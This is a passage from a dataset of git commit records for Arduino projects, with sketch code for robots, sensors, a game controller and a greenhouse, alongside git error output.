que el robot esta READY\n \/\/ for (uint8_t k = 0; k < 5; k++)\n \/\/ {\n \/\/ setVelocidadMotor_A(50);\n \/\/ \/\/ setVelocidadMotor_B(5);\n \/\/ delay(200);\n \/\/ setVelocidadMotor_A(-50);\n \/\/ \/\/ setVelocidadMotor_B(-5);\n \/\/ delay(200);\n \/\/ }\n \/\/\n \/\/ Serial.println(\"Preparado...\");\n \/\/\n \/\/ tiempo_Antiguo = millis();\n \/\/ Robot_tumbado = false;\n} \/* ************ FINAL SETUP *************** *\/\n\n\n\/* ************ LOOP ***************** *\/\nvoid loop() {\n \/* ************ DATOS DEL ACELEROMETRO\/GIROSCOPIO *********************** *\/\n Wire.beginTransmission(MPU);\n Wire.write(0x3B);\n Wire.endTransmission(false);\n Wire.requestFrom(MPU, 6, true);\n AcX = Wire.read() << 8 | Wire.read();\n AcY = Wire.read() << 8 | Wire.read();\n AcZ = Wire.read() << 8 | Wire.read();\n Acc[1] = atan(-1 * (AcX \/ A_R) \/ sqrt(pow((AcY \/ A_R), 2) + pow((AcZ \/ A_R), 2))) * RAD_TO_DEG;\n Acc[0] = atan((AcY \/ A_R) \/ sqrt(pow((AcX \/ A_R), 2) + pow((AcZ \/ A_R), 2))) * RAD_TO_DEG;\n Wire.beginTransmission(MPU);\n Wire.write(0x43);\n Wire.endTransmission(false);\n Wire.requestFrom(MPU, 4, true);\n GyX = Wire.read() << 8 | Wire.read();\n GyY = Wire.read() << 8 | Wire.read();\n Gy[0] = GyX \/ G_R;\n Gy[1] = GyY \/ G_R;\n Angle[0] = 0.98 * (Angle[0] + Gy[0] * 0.010) + 0.02 * Acc[0];\n Angle[1] = 0.98 * (Angle[1] + Gy[1] * 0.010) + 0.02 * Acc[1];\n \/\/Serial.print(\"Angle X: \"); Serial.print(Angle[0]); Serial.print(\"\\n\");\n Serial.print(\"Angle Y: \"); Serial.println(Angle[1]); \/\/ Angulo necesario\n \n delay(20);\n \/\/\n \/\/ \/* ************************************************************************\n \/\/ ********* substituir por lo recogido en el puerto serial?? ***********\n \/\/ \/\/ ************************************************************************ *\/\n \/\/ \/\/OSC.MsgRead(); \/\/ Read UDP OSC messages\n \/\/ \/\/if (OSC.newMessage)\n \/\/ \/\/{\n \/\/ \/\/ OSC.newMessage = 0;\n \/\/ \/\/ if (OSC.page == 1) \/\/ Get commands from user (PAGE1 are user commands: acelerador, giro...)\n \/\/ \/\/ {\n \/\/ \/\/ OSC.newMessage = 0;\n \/\/ \/\/ acelerador = (OSC.fadder1 - 0.5) * LIMITE_ACCELERACION;\n \/\/ \/\/ \/\/ We add some exponential on giro to smooth the center band\n \/\/ \/\/ giro = OSC.fadder2 - 0.5;\n \/\/ \/\/ if (giro > 0)\n \/\/ \/\/ giro = (giro * giro + 0.5 * giro) * LIMITE_GIRO;\n \/\/ \/\/ else\n \/\/ \/\/ giro = (-giro * giro + 0.5 * giro) * LIMITE_GIRO;\n \/\/\n \/\/ \/\/ } \/\/ End new OSC message\n \/\/\n \/\/ tiempo_Valor = millis();\n \/\/\n \/\/ dt = (tiempo_Valor - tiempo_Antiguo);\n \/\/ tiempo_Antiguo = tiempo_Valor;\n \/\/\n \/\/ angulo_recogido_antiguo = angulo_recogido;\n \/\/\n \/\/ angulo_recogido = Angle[1];\n \/\/ Serial.print(\"angulo: \");\n \/\/ Serial.println(angulo_recogido);\n \/\/\n \/\/ actual_robot_velocidad_Antiguo = actual_robot_velocidad;\n \/\/\n \/\/ actual_robot_velocidad = (velocidad_Motor_A + velocidad_Motor_B) \/ 2;\n \/\/\n \/\/ int16_t velociad_angular = (angulo_recogido - angulo_recogido_antiguo) * 90.0;\n \/\/\n \/\/ int16_t velocidad_estimada = -actual_robot_velocidad_Antiguo - velociad_angular;\n \/\/\n \/\/ velocidad_estimada_filtered = velocidad_estimada_filtered * 0.95\n \/\/ + (float)velocidad_estimada * 0.05;\n \/\/\n \/\/ angulo_objetivo = velocidadPIControl(dt, velocidad_estimada_filtered,\n \/\/ acelerador, KP_ACCELERACION, KI_ACCELERACION);\n \/\/\n \/\/ angulo_objetivo = constrain(angulo_objetivo,\n \/\/ -LIMITE_ANGULO_OBJETIVO,\n \/\/ LIMITE_ANGULO_OBJETIVO);\n \/\/\n \/\/ control_salida += stabilityPDControl(dt, angulo_recogido, angulo_objetivo, KP, KD);\n \/\/\n \/\/ control_salida = constrain(control_salida, -MAX_CONTROL_OUTPUT, MAX_CONTROL_OUTPUT);\n \/\/\n \/\/ motor_A = control_salida + giro;\n \/\/ motor_B = control_salida - giro;\n \/\/\n \/\/ motor_A = constrain(motor_A, -MAX_CONTROL_OUTPUT, MAX_CONTROL_OUTPUT);\n \/\/ motor_B = constrain(motor_B, -MAX_CONTROL_OUTPUT, MAX_CONTROL_OUTPUT);\n \/\/\n \/\/ if ((angulo_recogido < 76) && (angulo_recogido > -76)) \/\/ Is robot ready (upright?)\n \/\/ {\n \/\/ digitalWrite(9, LOW); \/\/ Motors enable\n \/\/ setVelocidadMotor_A(motor_A); \/\/se intoduce la velocidad motor_A\n \/\/ setVelocidadMotor_B(motor_B); \/\/se intoduce la velocidad motor_B\n \/\/ } else {\n \/\/ digitalWrite(9, HIGH); \/\/ Disable motors\n \/\/ setVelocidadMotor_A(0);\n \/\/ setVelocidadMotor_B(0);\n \/\/ PID_errorSum = 0;\n \/\/ }\n}\/* ************** FINAL LOOP ******************** *\/\n\n\n\n\n\/\/ TIMER 1 : STEPPER MOTOR_A SPEED CONTROL ********* ISR ****************\nISR(TIMER1_COMPA_vect) \/\/16bits\n{\n \/\/ if (direccin_Motor_A == 0) \/\/ If we are not moving we dont generate a pulse\n \/\/ return;\n \/\/ We generate 1us STEP pulse\n SET(PORTB, 0); \/\/ STEP MOTOR 1\n delay_1us();\n delay_1us();\n CLR(PORTB, 0);\n\n}\n\/\/ TIMER 2 : STEPPER MOTOR_B SPEED CONTROL\nISR(TIMER2_COMPA_vect) \/\/8bits\n{\n \/\/ if (direccin_Motor_B == 0) \/\/ If we are not moving we dont generate a pulse\n \/\/ return;\n \/\/ We generate 1us STEP pulse\n SET(PORTD, 6); \/\/ STEP MOTOR 2\n delay_1us();\n delay_1us();\n CLR(PORTD, 6);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Rob_Bat_main_simplificado.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4d216c4047d448b5b38d18d1620fae6f71309f27","subject":"Added testing sketch for an arduino node for environmental data.","message":"Added testing sketch for an arduino node for environmental data.\n","repos":"ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha","old_file":"nirnode\/DHTEnviroSensor\/DHTEnviroSensor\/DHTEnviroSensor.ino","new_file":"nirnode\/DHTEnviroSensor\/DHTEnviroSensor\/DHTEnviroSensor.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ekwoodrich\/nirha.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"34a131080750ff3862a9a7c33e718731e645905d","subject":"hmm the same routine can disable everything","message":"hmm the same routine can disable everything\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/TMC43x.ino","new_file":"ArduinoClient\/TMC43x.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"038a988031aa1fed75d0ef3eaf07fa14ee022db7","subject":"Added clear board function before initiating gameplay","message":"Added clear board function before initiating gameplay\n","repos":"markwatneyy\/ttt_arduino","old_file":"ttt_arduino.ino","new_file":"ttt_arduino.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/markwatneyy\/ttt_arduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"bb3c90a0d8e07d1868ce227068284d0a53b7109e","subject":"Added test arduino sketch","message":"Added test arduino sketch\n","repos":"Figglewatts\/MegadriveControllerUsb","old_file":"megaDriveTesting\/megaDriveTesting.ino","new_file":"megaDriveTesting\/megaDriveTesting.ino","new_contents":"int upPin = 13;\nint aBPin = 12;\nint selectPin = 11;\nint downPin = 10;\nint leftPin = 9;\nint rightPin = 8;\nint startCPin = 7;\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n Serial.begin(9600);\n pinMode(upPin, INPUT);\n pinMode(aBPin, INPUT);\n pinMode(selectPin, OUTPUT);\n pinMode(downPin, INPUT);\n pinMode(leftPin, INPUT);\n pinMode(rightPin, INPUT);\n pinMode(startCPin, INPUT);\n}\n\nvoid loop() {\n \/\/ first poll the buttons with Select=GND\n digitalWrite(selectPin, LOW);\n if(digitalRead(upPin) == LOW)\n {\n Serial.write(\"UP pressed\\n\");\n }\n if(digitalRead(downPin) == LOW)\n {\n Serial.write(\"DOWN pressed\\n\");\n }\n if(digitalRead(aBPin) == LOW)\n {\n Serial.write(\"A pressed\\n\");\n }\n if(digitalRead(startCPin) == LOW)\n {\n Serial.write(\"START pressed\\n\");\n }\n \n \/\/ now poll the buttons with Select=+5V\n digitalWrite(selectPin, HIGH);\n if(digitalRead(leftPin) == LOW)\n {\n Serial.write(\"LEFT pressed\\n\");\n }\n if(digitalRead(rightPin) == LOW)\n {\n Serial.write(\"RIGHT pressed\\n\");\n }\n if(digitalRead(aBPin) == LOW)\n {\n Serial.write(\"B pressed\\n\");\n }\n if(digitalRead(startCPin) == LOW)\n {\n Serial.write(\"C pressed\\n\");\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'megaDriveTesting\/megaDriveTesting.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"79eedd3772023aeb593f0911a769e3d7d4a3362c","subject":"Added basic Arduino test sketch","message":"Added basic Arduino test sketch\n","repos":"pbosetti\/mruby-serialport,pbosetti\/mruby-serialport","old_file":"test\/SerialCommTest\/SerialCommTest.ino","new_file":"test\/SerialCommTest\/SerialCommTest.ino","new_contents":"#define BAUD 9600\n#define READY Serial.println(\">\")\n\n\nvoid setup() {\n Serial.begin(BAUD);\n while (Serial.available() == 0) {\n delay(10);\n }\n READY;\n}\n\nvoid loop() {\n Serial.print(\"Time: \");\n Serial.print(millis());\n Serial.print(\"\\n\");\n delay(1000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'test\/SerialCommTest\/SerialCommTest.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9ba8c534b2381192c2e067e14e30bd199fa6b6cb","subject":"air temp with Si7021","message":"air temp with Si7021\n","repos":"wsnook\/farm,wsnook\/farm,wsnook\/farm","old_file":"firmware\/photon.ino","new_file":"firmware\/photon.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/wsnook\/farm.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"ef5e9a43ec26642b0a00293809ad26b5c27d3648","subject":"Add file: yun-console.ino","message":"Add file: yun-console.ino\n\nFrom https:\/\/github.com\/gmacario\/gmacario.github.io\/tree\/master\/test\/yun-console\n\nSee https:\/\/github.com\/gmacario\/gmacario.github.io\/issues\/10\n\nSigned-off-by: Gianpaolo Macario <f8885408b8c3d931b330bae3c3a28a3af912c463@gmail.com>\n","repos":"gmacario\/learning-arduino","old_file":"Sketches\/yun-console.ino","new_file":"Sketches\/yun-console.ino","new_contents":"#include <Console.h>\n\nconst int ledPin = 13; \/\/ the pin that the LED is attached to\nint incomingByte; \/\/ a variable to read incoming serial data into\n\nvoid setup() {\n \/\/ initialize serial communication:\n Bridge.begin();\n Console.begin(); \n\n while (!Console){\n ; \/\/ wait for Console port to connect.\n }\n Console.println(\"You're connected to the Console!!!!\");\n \/\/ initialize the LED pin as an output:\n pinMode(ledPin, OUTPUT);\n}\n\nvoid loop() {\n \/\/ see if there's incoming serial data:\n if (Console.available() > 0) {\n \/\/ read the oldest byte in the serial buffer:\n incomingByte = Console.read();\n \/\/ if it's a capital H (ASCII 72), turn on the LED:\n if (incomingByte == 'H') {\n digitalWrite(ledPin, HIGH);\n } \n \/\/ if it's an L (ASCII 76) turn off the LED:\n if (incomingByte == 'L') {\n digitalWrite(ledPin, LOW);\n }\n }\n delay(100);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Sketches\/yun-console.ino' did not match any file(s) known to git\n","license":"mpl-2.0","lang":"Arduino"} {"commit":"28eaf3993d85509ef14c6074757f3d698d4e69dc","subject":"first try to go life","message":"first try to go life\n","repos":"janiversen\/SolarPower","old_file":"SolarControl.ino","new_file":"SolarControl.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/janiversen\/SolarPower.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"ee405116dc28c7944afe459b6dd6a0b11ffdf9b0","subject":"Create Application.ino","message":"Create Application.ino","repos":"nlambuca\/MAX78615_SPI","old_file":"examples\/Application.ino","new_file":"examples\/Application.ino","new_contents":"test\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Application.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"64454398be0b349fb943b75276f04bf53fc8ae48","subject":"Added files via upload","message":"Added files via upload","repos":"ShikyC\/Sanro-Arduino","old_file":"sanro.ino","new_file":"sanro.ino","new_contents":"\/***************************************************************\n * *\n * Taiko Sanro - Arduino *\n * Support Arduino models with ATmega32u4 microprocessors *\n * *\n * Copyright \u00a9 2016 Shiky Chang *\n * zhangxunpx@gmail.com *\n * *\n ***************************************************************\/\n\n#define MODE_JIRO 0\n\n#define CHANNELS 4\n\n\/\/ Input delay (in seconds) = (SAMPLE_CACHE_LENGTH + POWER_CACHE_LENGTH) \/ sample frequency\n\/\/ _CACHE_LENGTH must be less than 256\n#define SAMPLE_CACHE_LENGTH 150\n#define POWER_CACHE_LENGTH 5\n\n\/\/ _THRES must be less than 2^32 = 4294967296 = 4.29e9\n#define LIGHT_THRES 3000000\n#define HEAVY_THRES 10000000\n\n#include <Keyboard.h>\n\nint channelSample [CHANNELS];\nint sampleCache [CHANNELS][SAMPLE_CACHE_LENGTH];\nshort int sampleCacheIndex [CHANNELS];\n\nlong int power [CHANNELS];\nlong int powerCache [CHANNELS][POWER_CACHE_LENGTH];\nshort int powerCacheIndex [CHANNELS];\n\nbool triggered [CHANNELS];\n\nvoid setup() {\n Serial.begin (9600);\n Keyboard.begin ();\n for (short int i = 0; i < CHANNELS; i++) {\n for (short int j = 0; j < SAMPLE_CACHE_LENGTH; j++) {\n sampleCache [i][j] = 0;\n }\n sampleCacheIndex [i] = SAMPLE_CACHE_LENGTH - 1; \n for (short int j = 0; j < POWER_CACHE_LENGTH; j++) {\n powerCache [i][j] = 0;\n }\n powerCacheIndex [i] = POWER_CACHE_LENGTH - 1; \n power [i] = 0;\n triggered [i] = false;\n }\n}\n\nvoid loop() {\n\n\/\/ Analog input: 0~5V -> 0~1023\n channelSample[0] = analogRead (A0); \/\/ L don\n channelSample[1] = analogRead (A1); \/\/ R don\n channelSample[2] = analogRead (A2); \/\/ L kat\n channelSample[3] = analogRead (A3); \/\/ R kat\n\n\/\/ Cache\n\/\/ Start status: [ 0 ] [ 1 ] [ 2 ] ... [n-3] [n-2] [n-1]\n\/\/ | |\n\/\/ Oldest Pointer\n\/\/\n\/\/ New status: [NEW] [ 1 ] [ 2 ] ... [n-3] [n-2] [n-1]\n\/\/ (Loop 1) | |\n\/\/ Pointer |\n\/\/ Oldest\n for (short int i = 0; i < CHANNELS; i++) {\n sampleCacheIndex [i] ++;\n sampleCacheIndex [i] %= SAMPLE_CACHE_LENGTH;\n sampleCache [i][sampleCacheIndex [i]] = channelSample [i];\n power [i] += channelSample [i] * channelSample [i];\n int oldest = sampleCache [i][(sampleCacheIndex [i] + 1) % SAMPLE_CACHE_LENGTH];\n power [i] -= oldest * oldest;\n if (power [i] < LIGHT_THRES) {\n power [i] = 0;\n triggered [i] = false;\n }\n \n powerCacheIndex [i] ++;\n powerCacheIndex [i] %= POWER_CACHE_LENGTH;\n powerCache [i][powerCacheIndex [i]] = power [i];\n\n\/\/ In the power cache, if we see any drop, we regard this point as a maximum\n for (short int j = 0; j < POWER_CACHE_LENGTH; j++){\n if (powerCache [i][(powerCacheIndex [i] + j) % POWER_CACHE_LENGTH] < powerCache [i][(powerCacheIndex [i] + j - 1) % POWER_CACHE_LENGTH]) {\n#if MODE_JIRO\n if (power [i] >= LIGHT_THRES && triggered [i] == false) {\n triggered [i] = true;\n switch (i) {\n case 0: Keyboard.print ('g'); break;\n case 1: Keyboard.print ('h'); break;\n case 2: Keyboard.print ('f'); break;\n case 3: Keyboard.print ('j'); break;\n }\n }\n#else\n if (power [i] >= HEAVY_THRES && triggered [i] == false) {\n triggered [i] = true;\n switch (i) {\n case 0: Keyboard.print ('t'); break;\n case 1: Keyboard.print ('y'); break;\n case 2: Keyboard.print ('r'); break;\n case 3: Keyboard.print ('u'); break;\n }\n } else if (power [i] >= LIGHT_THRES && triggered [i] == false) {\n triggered [i] = true;\n switch (i) {\n case 0: Keyboard.print ('g'); break;\n case 1: Keyboard.print ('h'); break;\n case 2: Keyboard.print ('f'); break;\n case 3: Keyboard.print ('j'); break;\n }\n }\n#endif\n break;\n } else if (j == POWER_CACHE_LENGTH - 1) {\n \/\/ The power is still increasing\n }\n }\n\n\/\/ This is the end of each channel\n }\n \n delay (1);\n}\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sanro.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a81aeb54f571f1928c9b0dc7f855cf3837e5cc8c","subject":"first commit","message":"first commit\n","repos":"melvin-mancini\/Multitasking-RealTime-Arduino-System,melvin-mancini\/Multitasking-RealTime-Arduino-System,melvin-mancini\/Multitasking-RealTime-Arduino-System,melvin-mancini\/Multitasking-RealTime-Arduino-System,melvin-mancini\/Multitasking-RealTime-Arduino-System,melvin-mancini\/Multitasking-RealTime-Arduino-System,melvin-mancini\/Multitasking-RealTime-Arduino-System,melvin-mancini\/Multitasking-RealTime-Arduino-System,melvin-mancini\/Multitasking-RealTime-Arduino-System","old_file":"RTOS_Arduino.ino","new_file":"RTOS_Arduino.ino","new_contents":"#include <DigitalToggle.h>\n\n\/\/Pin definition\nstatic int trigger = 8; \/\/ Pin HC-SR04\nstatic int echo = 9; \/\/ Pin HC-SR04\nstatic int led_HC = 13; \/\/ Pin HC-SR04\nstatic int led_pulsed = 12; \/\/ Timed pulsed led\nstatic int led_temperature = 11; \/\/ Led to temperature overflow\nstatic int LM35_analogPin = 0; \/\/ analog pin for temperature sensor\n\n\n\/\/ Variables for calculating the distance with sensor HC-SR04\nlong duration; \/\/ Flight time of signal\nlong distance; \/\/ Calculated distance \nfloat temp_C; \/\/ temperature variable (Celsius degrees)\n\nvoid setup() {\n \/\/Serial communication\n Serial.begin(9600);\n\n \/\/Pin setup\n pinMode(trigger, OUTPUT);\n pinMode(echo, INPUT);\n pinMode(led_HC, OUTPUT);\n pinMode(led_pulsed, OUTPUT);\n pinMode(led_temperature, OUTPUT);\n\n digitalWrite(echo, LOW);\n digitalWrite(trigger, LOW);\n digitalWrite(led_HC, LOW);\n digitalWrite(led_pulsed, LOW);\n digitalWrite(led_temperature, LOW);\n\n \/\/Analog input\n analogReference(INTERNAL); \/\/ prendo la misura analogica di riferimento di Arduino a 1.1V\n\n \/\/Variable initialization of the distance\n duration = 0;\n distance = 0;\n}\n\nvoid loop() {\n}\n\nvoid loop1(3000) {\n \/\/Send a HIGH pulse to the trigger pin\n digitalWrite(trigger, HIGH);\n \/\/I leave it to the HIGH value for 10 microseconds\n delayMicroseconds(10);\n \/\/I carry it back to the LOW state\n digitalWrite(trigger, LOW);\n\n \/\/I get the number of microseconds for which the echo PIN is left in HIGH state\n duration = pulseIn(echo, HIGH);\n\n \/*Sound velocity is 340 meters per second, or 29 microseconds per cent.\n Our impulse travels back and forth, so to calculate the distance\n Between the sensor and our obstacle we need to do:*\/\n distance = duration \/ 29 \/ 2;\n\n \/\/ Turn on the led if there is an obstacle at a distance of less than 10 cm\n if (distance < 10) {\n digitalWrite(led_HC, HIGH);\n }\n else {\n digitalWrite(led_HC, LOW);\n }\n \/\/ Print on the serial buffer\n Serial.print(\"duration : \");\n Serial.print(duration);\n Serial.print(\" - distance : \");\n Serial.println(distance);\n}\n\nvoid loop2(7000) {\n int i;\n Serial.println(\"Pulsed LED\");\n \/\/ Code for the flashing of the led\n for (i = 0; i < 5; i++)\n {\n digitalWrite(led_pulsed, HIGH);\n delay(500);\n digitalWrite(led_pulsed, LOW);\n delay(500);\n }\n}\n\nvoid loop3(11000) {\n float sum_temp = 0;\n float average_temp = 0;\n \/* Acquire 3 values from the sensor every 500 milliseconds.\n Through an appropriate conversion I get the measure in degrees Celsius.\n Calculate the average of subsequent measurements.*\/\n for (int i = 0; i < 3; i++){ \n delay(500);\n temp_C = (1.1 * analogRead(LM35_analogPin) * 100.0) \/ 1024;\n sum_temp += temp_C;\n }\n average_temp = sum_temp \/ 3;\n \/\/ If the temperature is greater than 23 degrees, turn on the led\n if (average_temp > 23) {\n digitalWrite(led_temperature, HIGH);\n }\n else {\n digitalWrite(led_temperature, LOW);\n }\n Serial.print(\"Temperature : \");\n Serial.println(average_temp);\n}\n\n\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'RTOS_Arduino.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"77d6553c96a982512b526c12a4b199f7833d589e","subject":"Add files via upload","message":"Add files via upload\n\ncode from chris's robot","repos":"RoCTCNJ\/FireFighter","old_file":"Robothon2018.ino","new_file":"Robothon2018.ino","new_contents":"\/*PINOUTS\nM1=\nE1=\n\nM=\nE2=\n\nleft sensor = 13\nmiddle sensor = 12\nright sensor = 11 \n\nOTHER INFO\ndigitalWrite(M2,LOW); LOW = FRONT, HIGH = BACK \nnalogWrite(E1, value); value is speeed between 0 and 255\n\n\n*\/\nconst int E1 = 20;\nconst int M1 = 21;\nconst int E2 = 19; \nconst int M2 = 18; \n\nconst int leftSensor = 13;\nconst int midSensor = 12;\nconst int rightSensor = 11;\n\nconst int flameSensor = A5;\n\nint leftCm = 0;\nint midCm = 0;\nint rightCM = 0;\n\nint flameNum = 0;\n\n\/\/ [ BATTERY POWER ] [ COMMON GROUND ] [ ARDUINO POWER ]\n\nvoid setup() {\n pinMode(M1, OUTPUT); \n pinMode(M2, OUTPUT); \n Serial.begin(9600);\n}\n\nvoid loop() \n{\n leftCm = getSensorValuecm(leftSensor);\n midCm = getSensorValuecm(midSensor);\n rightCM = getSensorValuecm(rightSensor);\n\n flameNum = analogRead(flameSensor);\n if (flameNum > 50)\n {\n \/\/fan goes off\n }\n Serial.print(midCm);\n Serial.println();\n\n \n \n if (leftCm > 5 && rightCM > 5 && midCm > 5)\n {\n foreward();\n }\n else if (leftCm < 5 && rightCM > 5 && midCm < 5)\n {\n turnRight();\n }\n else{\n analogWrite(E1, 0); \n analogWrite(E2, 0);\n }\n \n}\n\nvoid turnRight()\n{\n digitalWrite(M1,LOW); \n digitalWrite(M2,HIGH);\n analogWrite(E1, 255); \n analogWrite(E2, 255);\n delay(1000);\n analogWrite(E1, 0); \n analogWrite(E2, 0);\n}\n\nvoid foreward()\n{\n digitalWrite(M1,LOW); \/\/LOW = FOREQARD \n digitalWrite(M2,LOW); \/\/HIGH = BACKWARDS\n analogWrite(E1, 255); \n analogWrite(E2, 255);\n \n}\nint getSensorValuecm(int sensor)\n{\n int duration = 0;\n int cm = 0;\n \n pinMode(sensor, OUTPUT);\n digitalWrite(sensor, LOW);\n delayMicroseconds(2);\n digitalWrite(sensor, HIGH);\n delayMicroseconds(5);\n digitalWrite(sensor, LOW);\n\n pinMode(sensor, INPUT);\n duration = pulseIn(sensor, HIGH);\n cm = convertToCm(duration);\n return cm;\n}\n\nint convertToCm(int microseconds) \n{\n return microseconds \/ 29 \/ 2;\n}\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Robothon2018.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4e43721ea49cbc3dd8a37af2b8ee52ee9119da90","subject":"prepare for calcCharge","message":"prepare for calcCharge\n","repos":"janiversen\/SolarPower","old_file":"SolarControl.ino","new_file":"SolarControl.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/janiversen\/SolarPower.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"2c3917044eeeb99d4b73d009b42135b2494114d2","subject":"Update Line_sensor.ino","message":"Update Line_sensor.ino\n\nFixed incorrect comment.","repos":"billdwp\/arduino_sbs,futureshocked\/arduino_sbs,futureshocked\/arduino_sbs,billdwp\/arduino_sbs,iNNPL\/arduino_sbs,merbok\/arduino_sbs,futureshocked\/arduino_sbs,merbok\/arduino_sbs,iNNPL\/arduino_sbs","old_file":"Line sensor\/Line_sensor\/Line_sensor.ino","new_file":"Line sensor\/Line_sensor\/Line_sensor.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Line' did not match any file(s) known to git\nerror: pathspec 'sensor\/Line_sensor\/Line_sensor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a77bb48435e2ca8988a6a558b5f62d1a78b15353","subject":"Codice Arduino progetto Smart_Green_House con tutte le funzioni implementate.","message":"Codice Arduino progetto Smart_Green_House con tutte le funzioni implementate.\n","repos":"pasoppido87\/Smart_Green_House","old_file":"Smart_Green_House_codiceArduino.ino","new_file":"Smart_Green_House_codiceArduino.ino","new_contents":"\n\/*\nCopyright 2016 Marzucco Angelo\nCopyright 2016 Russo Andrea\nCopyright 2016 Oppido Pasquale\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*\/\n\/\/Progetto Smart Green House(Arduino Code)\n\/\/Il sistema colleziona i dati raccolti all'interno della serricoltura del basilico quali:\n\/\/1)ALTEZZA DELLA PIANTA da terra(istallazione del trasduttore di distanza a tempo di volo a 30 cm dal punto dove sono stati impiantati i semi);\n\/\/2)TEMPERATURA ED UMIDIT\u00e0 DELL'ARIA(mediante un unico modulo, DHT, il quale comunica digitalmente con Arduino);\n\/\/3)UMIDIT\u00e0 DEL TERRENO(tramite un trasduttore connesso ad una particolare sonda in grado di rilevare il tasso di umidit\u00e0);\n\/\/4)LUMINOSIT\u00e0(resistore LDR, il quale cambia valore assumendo resistenze dell'ordine dei MOhm al buoio o centinaia di Ohm in condizioni di piena luminosit\u00e0).\n\n\/\/Prelevati i medesimi, IN MODALIT\u00e0 AUTOMATICA, lo stesso \u00e8 in grado di abilitare:\n\/\/1)IRRIGAZIONE TERRENO, nelle ore fresche(luminosit\u00e0 bassa) e se il terreno scende sotto una determinata soglia di umidit\u00e0(35% nel caso);\n\/\/2)ATTIVAZIONE LAMPADE UV, quando la luminosit\u00e0 decresce mediante un controllo ad isteresi su tale parametro;\n\/\/3)ATTIVAZIONE SISTEMA DI RISCALDAMENTO, se la temperatura scende sotto la soglia dei 18 gradi(abilitazione pilotata da un controllo ad isteresi).\n\/\/4)ATTIVAZIONE SITEMA DI UMIDIFICAZIONE ARIA(tramite ventilazione) se l'umidit\u00e0 dell'aria scende sotto una determinata soglia\n\n\/\/In MODALIT\u00e0 MANUALE il sistema \u00e8 in grado di pilotare, tramite applicazione Android connessa al bluetooth dell'impianto, 1),2),3),4) abilitando e disabilitando degli switch\n\/\/presenti all'interno dell'applicazione (sezione CONTROLLO MANUALE).\n\n\/\/Il sistema invia mediante protocollo seriale i dati raccolti dall'impianto ad un dispositivo Bluetooth vers. 2.0 ed i medesimi possono essere visualizzati \n\/\/sullo smartphone tramite l'apposita applicazione(sezione dell'applicazione Smart Green House -> LETTURA DATI)\n\n\/\/N.B. Ogni singola riga del codice \u00e8 stata commentata ai fini di aumentare la leggibilit\u00e0 del codice e di documentare lo stesso\n#include <DHT.h> \/\/libreria 